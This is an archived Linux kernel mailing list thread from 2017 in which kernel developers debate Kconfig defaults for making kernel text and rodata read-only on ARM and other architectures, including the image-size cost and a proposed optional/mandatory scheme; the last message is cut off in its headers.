Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5439 gmane.linux.documentation:44719 gmane.linux.kernel:2403112 gmane.linux.ports.arm.kernel:556883 gmane.linux.ports.parisc:27255 gmane.linux.power-management.general:86141
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5439>

On Fri, Feb 03, 2017 at 11:45:56AM -0800, Kees Cook wrote:
> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
> > diff --git a/arch/Kconfig b/arch/Kconfig
> > index 99839c2..22ee01e 100644
> > --- a/arch/Kconfig
> > +++ b/arch/Kconfig
> > @@ -781,4 +781,32 @@ config VMAP_STACK
> >           the stack to map directly to the KASAN shadow map using a formula
> >           that is incorrect if the stack is in vmalloc space.
> >
> > +config ARCH_NO_STRICT_RWX_DEFAULTS
> > +       def_bool n
> > +
> > +config ARCH_HAS_STRICT_KERNEL_RWX
> > +       def_bool n
> > +
> > +config DEBUG_RODATA
> > +       def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
> > +       prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
> 
> Ah! Yes, perfect. I totally forgot about using conditional "prompt"
> lines. Nice!

It's no different from the more usual:

	bool "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
	default y if !ARCH_NO_STRICT_RWX_DEFAULTS
	depends on ARCH_HAS_STRICT_KERNEL_RWX

But... I really don't like this - way too many negations and negatives
which make it difficult to figure out what's going on here.

The situation we have today is:

-config DEBUG_RODATA
-       bool "Make kernel text and rodata read-only"
-       depends on MMU && !XIP_KERNEL
-       default y if CPU_V7

which is "allow the user to select DEBUG_RODATA if building a MMU non-XIP
kernel", suggesting that the user turns it on for ARMv7 CPUs.

That changes with this and the above:

+       select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
+       select ARCH_HAS_STRICT_MODULE_RWX if MMU
+       select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7

This means that ARCH_HAS_STRICT_KERNEL_RWX is set for a MMU non-XIP
kernel, which carries the same pre-condition for DEBUG_RODATA - no
problem there.

However, ARCH_NO_STRICT_RWX_DEFAULTS is set for non-ARMv7 CPUs, which
means the "Make kernel text and rodata read-only" prompt _is_ provided
for those.  However, for all ARMv7 systems, we go from "suggesting that
the user enables the option" to "you don't have a choice, you get this
whether you want it or not."

I'd prefer to keep it off for my development systems, where I don't
care about kernel security.  If we don't wish to do that as a general
rule, can we make it dependent on EMBEDDED?

Given that on ARM it can add up to 4MB to the kernel image - there
_will_ be about 1MB before the .text section, the padding on between
__modver and __ex_table which for me is around 626k, the padding
between .notes and the init sections start with .vectors (the space
between __ex_table and end of .notes is only 4124, which gets padded
up to 1MB) and lastly the padding between the .init section and the
data section (for me around 593k).  This all adds up to an increase
in kernel image size of 3.2MB on 14.2MB - an increase of 22%.

So no, I'm really not happy with that.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Fri, 3 Feb 2017 13:08:40 -0800
Lines: 118
Approved: news@gmane.org
Message-ID: <CAGXu5j+HOTHRrFJFMsMaAvqcTAUoEBuphzrYAr7VAjJQU9_RYA@mail.gmail.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-2-git-send-email-labbott@redhat.com> <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
 <20170203202919.GE27312@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486156126 6870 195.159.176.226 (3 Feb 2017 21:08:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 21:08:46 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 03 22:08:40 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZl5y-0000gX-Jg
	for glpp-linux-parisc@m.gmane.org; Fri, 03 Feb 2017 22:08:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752475AbdBCVIo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 3 Feb 2017 16:08:44 -0500
Original-Received: from mail-io0-f174.google.com ([209.85.223.174]:36249 "EHLO
        mail-io0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752514AbdBCVIl (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 3 Feb 2017 16:08:41 -0500
Original-Received: by mail-io0-f174.google.com with SMTP id j13so27042280iod.3
        for <linux-parisc@vger.kernel.org>; Fri, 03 Feb 2017 13:08:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=vdRx26+0XHmJzPvduRMkDEbu3qRkrPTYTwAjekONThQ=;
        b=frtIm2vif+CdUf86FDnJUM0u0Ffua2/Nl+q9jrsn/LJy7Rn+10Rqin7Z07cAqjmZc0
         QkDHd5zDhawJVGAuLtvAtP6a4MLcTIaff2fxInBd3Fjam60D/KDHlhwavfjFibNQf5RN
         8CL9urdbvKA0q488LddS15Z0U2x47CMUgcos+IyC+FXTYUIjel4W0e0SO9sSLFQqomG9
         C5JCFhwzRcYG6CzOE04ZT/mJIcpKFELLrpQ7N/c6Vmi3JzzHmFErhdg9ctQAY5RIbkjm
         +2K3qzpJzK1fur9YP1htO6vU3wENpKRNPw4e2u89VpmNXhz0sDX0ccsQbI1Ewfhl5fAr
         j6Ww==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=vdRx26+0XHmJzPvduRMkDEbu3qRkrPTYTwAjekONThQ=;
        b=P0WESOL3ttxSJTzz2xRrGQp8PEpQz1J5ZAtoXoBWRe8Tr2grwGkjZNQ94U+eXFMbF+
         WgRIUqxunG9iJTIICwKU8UMcjsGjxoh4cNdHX5ZT8eSzDyxvNV0v8nJSZfyNudn8Uays
         t6IE46FvI/VAJxqxmMDkLRiun2VRq980z3M0w=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=vdRx26+0XHmJzPvduRMkDEbu3qRkrPTYTwAjekONThQ=;
        b=PLNi3WlGZ+QXdFuz4uywXTzMn5yH1T7X0mb6qJZDE1VGaTwRsopHI9KcB/TK/BPDUj
         gZmdJT7r6HcQDBPTQqYjcR5v8p2dq0M7H8ENxMdOJba4yFixINiQoE5KgxyPzBUaMwta
         sAoJAJmRwYw3papstLyIreqQXVB8v1JGoL461lZAb2QJLwpzObQ4qUFWS3lUYgNQiRRy
         sw+gkRfKUQvrGHPLGc35OsPjFZGRZAGmJn2wsKULxLt5RMDurfnr7sxKcDSJUO7h8psk
         z5Grl8Sa2Tno7RAcIyzrtfqYIpBy2sHqHMshLOtxWXGK2RKoSAujIMUOp1Cr4bLmj97f
         fXsQ==
X-Gm-Message-State: AIkVDXLBck0m0b7PSkBBx2f65IabTXFWgMoVBTu8ZOi1UEaEdMpLcet3WWxGM70CTi48KYKZw2IpUoN2DVUIfJ6u
X-Received: by 10.107.12.88 with SMTP id w85mr11385654ioi.96.1486156120816;
 Fri, 03 Feb 2017 13:08:40 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Fri, 3 Feb 2017 13:08:40 -0800 (PST)
In-Reply-To: <20170203202919.GE27312@n2100.armlinux.org.uk>
X-Google-Sender-Auth: TvIZ95R4CO_M_A84_bOXoRYCF-E
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27256 gmane.linux.documentation:44720 gmane.linux.kernel:2403129 gmane.linux.ports.arm.kernel:556889 gmane.linux.power-management.general:86144 gmane.linux.kernel.hardened.devel:5440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27256>

On Fri, Feb 3, 2017 at 12:29 PM, Russell King - ARM Linux
<linux@armlinux.org.uk> wrote:
> On Fri, Feb 03, 2017 at 11:45:56AM -0800, Kees Cook wrote:
>> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
>> > diff --git a/arch/Kconfig b/arch/Kconfig
>> > index 99839c2..22ee01e 100644
>> > --- a/arch/Kconfig
>> > +++ b/arch/Kconfig
>> > @@ -781,4 +781,32 @@ config VMAP_STACK
>> >           the stack to map directly to the KASAN shadow map using a formula
>> >           that is incorrect if the stack is in vmalloc space.
>> >
>> > +config ARCH_NO_STRICT_RWX_DEFAULTS
>> > +       def_bool n
>> > +
>> > +config ARCH_HAS_STRICT_KERNEL_RWX
>> > +       def_bool n
>> > +
>> > +config DEBUG_RODATA
>> > +       def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
>> > +       prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
>>
>> Ah! Yes, perfect. I totally forgot about using conditional "prompt"
>> lines. Nice!
>
> It's no different from the more usual:
>
>         bool "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
>         default y if !ARCH_NO_STRICT_RWX_DEFAULTS
>         depends on ARCH_HAS_STRICT_KERNEL_RWX
>
> But... I really don't like this - way too many negations and negatives
> which make it difficult to figure out what's going on here.
>
> The situation we have today is:
>
> -config DEBUG_RODATA
> -       bool "Make kernel text and rodata read-only"
> -       depends on MMU && !XIP_KERNEL
> -       default y if CPU_V7
>
> which is "allow the user to select DEBUG_RODATA if building a MMU non-XIP
> kernel", suggesting that the user turns it on for ARMv7 CPUs.
>
> That changes with this and the above:
>
> +       select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
> +       select ARCH_HAS_STRICT_MODULE_RWX if MMU
> +       select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7
>
> This means that ARCH_HAS_STRICT_KERNEL_RWX is set for a MMU non-XIP
> kernel, which carries the same pre-condition for DEBUG_RODATA - no
> problem there.
>
> However, ARCH_NO_STRICT_RWX_DEFAULTS is set for non-ARMv7 CPUs, which
> means the "Make kernel text and rodata read-only" prompt _is_ provided
> for those.  However, for all ARMv7 systems, we go from "suggesting that
> the user enables the option" to "you don't have a choice, you get this
> whether you want it or not."
>
> I'd prefer to keep it off for my development systems, where I don't
> care about kernel security.  If we don't wish to do that as a general
> rule, can we make it dependent on EMBEDDED?
>
> Given that on ARM it can add up to 4MB to the kernel image - there
> _will_ be about 1MB before the .text section, the padding on between
> __modver and __ex_table which for me is around 626k, the padding
> between .notes and the init sections start with .vectors (the space
> between __ex_table and end of .notes is only 4124, which gets padded
> up to 1MB) and lastly the padding between the .init section and the
> data section (for me around 593k).  This all adds up to an increase
> in kernel image size of 3.2MB on 14.2MB - an increase of 22%.
>
> So no, I'm really not happy with that.

Ah yeah, good point. We have three cases: unsupported, mandatory,
optional, but we have the case of setting the default for the optional
case. Maybe something like this?

config STRICT_KERNEL_RWX
  bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
  depends on ARCH_HAS_STRICT_KERNEL_RWX
  default ARCH_OPTIONAL_KERNEL_RWX_DEFAULT

unsupported:
!ARCH_HAS_STRICT_KERNEL_RWX

mandatory:
ARCH_HAS_STRICT_KERNEL_RWX
!ARCH_OPTIONAL_KERNEL_RWX

optional:
ARCH_HAS_STRICT_KERNEL_RWX
ARCH_OPTIONAL_KERNEL_RWX
with default controlled by ARCH_OPTIONAL_KERNEL_RWX_DEFAULT

Then arm is:
  select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
  select ARCH_HAS_STRICT_MODULE_RWX if MMU
  select ARCH_OPTIONAL_KERNEL_RWX if ARCH_HAS_STRICT_KERNEL_RWX
  select ARCH_OPTIONAL_KERNEL_RWX_DEFAULT if CPU_V7

x86 and arm64 are:
  select ARCH_HAS_STRICT_KERNEL_RWX
  select ARCH_HAS_STRICT_MODULE_RWX

?

-Kees

-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Fri, 3 Feb 2017 22:28:22 +0000
Lines: 143
Approved: news@gmane.org
Message-ID: <20170203222822.GG27312@n2100.armlinux.org.uk>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-2-git-send-email-labbott@redhat.com>
 <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
 <20170203202919.GE27312@n2100.armlinux.org.uk>
 <CAGXu5j+HOTHRrFJFMsMaAvqcTAUoEBuphzrYAr7VAjJQU9_RYA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1486160960 7337 195.159.176.226 (3 Feb 2017 22:29:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 22:29:20 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-pm-owner@vger.kernel.org Fri Feb 03 23:29:12 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cZmLv-0002Am-L6
	for gll-linux-pm2@m.gmane.org; Fri, 03 Feb 2017 23:29:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752708AbdBCW3Q (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Fri, 3 Feb 2017 17:29:16 -0500
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:59844 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752376AbdBCW3P (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Fri, 3 Feb 2017 17:29:15 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=8uaWi8BCG5h6e+JYlsumL+OmYaikLVsJCnEh4RJ8lhY=;
        b=APubhm5c2/1OvpUZb8uMg9KdOO70XQdR3yBTJxNBirZ7pAjefbnFo7mSpJTLYzHuua9YVoOIkKSldge8wnO/Xz1vN5yt/vo0FzpFO6VvmfgRKsohSbvv7c1l4YTuvS2FJsMskUXgr4WSEEeE5DqXSy7idtQmO8lpI8PzGW8ojis=;
Original-Received: from n2100.armlinux.org.uk ([2001:4d48:ad52:3201:214:fdff:fe10:4f86]:53088)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@armlinux.org.uk>)
        id 1cZmLC-0003y9-Ib; Fri, 03 Feb 2017 22:28:26 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1cZmL9-0003Qe-4D; Fri, 03 Feb 2017 22:28:23 +0000
Content-Disposition: inline
In-Reply-To: <CAGXu5j+HOTHRrFJFMsMaAvqcTAUoEBuphzrYAr7VAjJQU9_RYA@mail.gmail.com>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86150 gmane.linux.documentation:44721 gmane.linux.kernel:2403177 gmane.linux.ports.arm.kernel:556893 gmane.linux.ports.parisc:27257 gmane.linux.kernel.hardened.devel:5443
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86150>

On Fri, Feb 03, 2017 at 01:08:40PM -0800, Kees Cook wrote:
> On Fri, Feb 3, 2017 at 12:29 PM, Russell King - ARM Linux
> <linux@armlinux.org.uk> wrote:
> > On Fri, Feb 03, 2017 at 11:45:56AM -0800, Kees Cook wrote:
> >> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
> >> > diff --git a/arch/Kconfig b/arch/Kconfig
> >> > index 99839c2..22ee01e 100644
> >> > --- a/arch/Kconfig
> >> > +++ b/arch/Kconfig
> >> > @@ -781,4 +781,32 @@ config VMAP_STACK
> >> >           the stack to map directly to the KASAN shadow map using a formula
> >> >           that is incorrect if the stack is in vmalloc space.
> >> >
> >> > +config ARCH_NO_STRICT_RWX_DEFAULTS
> >> > +       def_bool n
> >> > +
> >> > +config ARCH_HAS_STRICT_KERNEL_RWX
> >> > +       def_bool n
> >> > +
> >> > +config DEBUG_RODATA
> >> > +       def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
> >> > +       prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
> >>
> >> Ah! Yes, perfect. I totally forgot about using conditional "prompt"
> >> lines. Nice!
> >
> > It's no different from the more usual:
> >
> >         bool "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
> >         default y if !ARCH_NO_STRICT_RWX_DEFAULTS
> >         depends on ARCH_HAS_STRICT_KERNEL_RWX
> >
> > But... I really don't like this - way too many negations and negatives
> > which make it difficult to figure out what's going on here.
> >
> > The situation we have today is:
> >
> > -config DEBUG_RODATA
> > -       bool "Make kernel text and rodata read-only"
> > -       depends on MMU && !XIP_KERNEL
> > -       default y if CPU_V7
> >
> > which is "allow the user to select DEBUG_RODATA if building a MMU non-XIP
> > kernel", suggesting that the user turns it on for ARMv7 CPUs.
> >
> > That changes with this and the above:
> >
> > +       select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
> > +       select ARCH_HAS_STRICT_MODULE_RWX if MMU
> > +       select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7
> >
> > This means that ARCH_HAS_STRICT_KERNEL_RWX is set for a MMU non-XIP
> > kernel, which carries the same pre-condition for DEBUG_RODATA - no
> > problem there.
> >
> > However, ARCH_NO_STRICT_RWX_DEFAULTS is set for non-ARMv7 CPUs, which
> > means the "Make kernel text and rodata read-only" prompt _is_ provided
> > for those.  However, for all ARMv7 systems, we go from "suggesting that
> > the user enables the option" to "you don't have a choice, you get this
> > whether you want it or not."
> >
> > I'd prefer to keep it off for my development systems, where I don't
> > care about kernel security.  If we don't wish to do that as a general
> > rule, can we make it dependent on EMBEDDED?
> >
> > Given that on ARM it can add up to 4MB to the kernel image - there
> > _will_ be about 1MB before the .text section, the padding on between
> > __modver and __ex_table which for me is around 626k, the padding
> > between .notes and the init sections start with .vectors (the space
> > between __ex_table and end of .notes is only 4124, which gets padded
> > up to 1MB) and lastly the padding between the .init section and the
> > data section (for me around 593k).  This all adds up to an increase
> > in kernel image size of 3.2MB on 14.2MB - an increase of 22%.
> >
> > So no, I'm really not happy with that.
> 
> Ah yeah, good point. We have three cases: unsupported, mandatory,
> optional, but we have the case of setting the default for the optional
> case. Maybe something like this?
> 
> config STRICT_KERNEL_RWX
>   bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
>   depends on ARCH_HAS_STRICT_KERNEL_RWX
>   default ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
> 
> unsupported:
> !ARCH_HAS_STRICT_KERNEL_RWX
> 
> mandatory:
> ARCH_HAS_STRICT_KERNEL_RWX
> !ARCH_OPTIONAL_KERNEL_RWX
> 
> optional:
> ARCH_HAS_STRICT_KERNEL_RWX
> ARCH_OPTIONAL_KERNEL_RWX
> with default controlled by ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
> 
> Then arm is:
>   select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
>   select ARCH_HAS_STRICT_MODULE_RWX if MMU
>   select ARCH_OPTIONAL_KERNEL_RWX if ARCH_HAS_STRICT_KERNEL_RWX
>   select ARCH_OPTIONAL_KERNEL_RWX_DEFAULT if CPU_V7
> 
> x86 and arm64 are:
>   select ARCH_HAS_STRICT_KERNEL_RWX
>   select ARCH_HAS_STRICT_MODULE_RWX

Looks to me like it will do the job.

In passing, I noticed that, on ARM:

  3 .rodata       002212b4  c0703000  c0703000  00703000  2**6
                  CONTENTS, ALLOC, LOAD, DATA

a lack of READONLY there - which suggests something in this lot isn't
actually read-only data:

        .rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {           \
                VMLINUX_SYMBOL(__start_rodata) = .;                     \
                *(.rodata) *(.rodata.*)                                 \
                RO_AFTER_INIT_DATA      /* Read only after init */      \
                KEEP(*(__vermagic))     /* Kernel version magic */      \
                . = ALIGN(8);                                           \
                VMLINUX_SYMBOL(__start___tracepoints_ptrs) = .;         \
                KEEP(*(__tracepoints_ptrs)) /* Tracepoints: pointer array */ \
                VMLINUX_SYMBOL(__stop___tracepoints_ptrs) = .;          \
                *(__tracepoints_strings)/* Tracepoints: strings */      \
        }                                                               \

I suspect it's the RO_AFTER_INIT_DATA section - maybe this should be
placed into its own separate output section?  I don't think it's doing
any harm, it's just odd that the .rodata section is marked as a normal
data section.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.
--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Fri, 3 Feb 2017 15:07:02 -0800
Lines: 151
Approved: news@gmane.org
Message-ID: <CAGXu5j+_hxry0nSkz77WCDHX5SzjXyr6YK9THeBOBH6x87145w@mail.gmail.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-2-git-send-email-labbott@redhat.com> <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
 <20170203202919.GE27312@n2100.armlinux.org.uk> <CAGXu5j+HOTHRrFJFMsMaAvqcTAUoEBuphzrYAr7VAjJQU9_RYA@mail.gmail.com>
 <20170203222822.GG27312@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486163233 32716 195.159.176.226 (3 Feb 2017 23:07:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 23:07:13 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 04 00:07:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZmwY-0006oR-Rq
	for glpp-linux-parisc@m.gmane.org; Sat, 04 Feb 2017 00:07:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752916AbdBCXHI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 3 Feb 2017 18:07:08 -0500
Original-Received: from mail-it0-f46.google.com ([209.85.214.46]:34451 "EHLO
        mail-it0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752885AbdBCXHE (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 3 Feb 2017 18:07:04 -0500
Original-Received: by mail-it0-f46.google.com with SMTP id k200so11989074itb.1
        for <linux-parisc@vger.kernel.org>; Fri, 03 Feb 2017 15:07:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=v41oo6+oMtGOtY6Q3dowVZLNbl1MdcUjT9l2slUuqvk=;
        b=rmJCdO39J8o4fkDSlySfXV0oQ8cKU94EojCIZ83OA2+ZnYUbe8e6OZcOxts5Qfmd1K
